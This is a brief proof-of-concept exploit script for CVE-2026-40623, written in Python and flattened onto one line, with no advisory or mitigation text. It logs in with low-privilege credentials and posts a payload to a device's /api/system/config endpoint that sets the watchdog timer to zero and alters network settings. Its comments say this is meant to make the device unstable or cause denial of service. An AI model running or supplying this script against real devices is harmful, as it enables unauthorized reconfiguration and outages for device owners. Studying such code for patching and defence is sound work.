CVE-2026-40623

import requests # Target URL configuration endpoint url = "http://<target-ip>/api/system/config" # Attacker's credentials (Low privilege required) auth = ('low_priv_user', 'password') # Malicious payload to modify critical parameters # Setting watchdog timer to 0 may cause system instability or DoS payload = { "ip_address": "127.0.0.1", "watchdog_timer": 0, "reconnect_interval": 10, "service_port": 8080 } try: response = requests.post(url, json=payload, auth=auth, timeout=5) if response.status_code == 200: print("[+] Configuration modified successfully. Device may be unstable.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")

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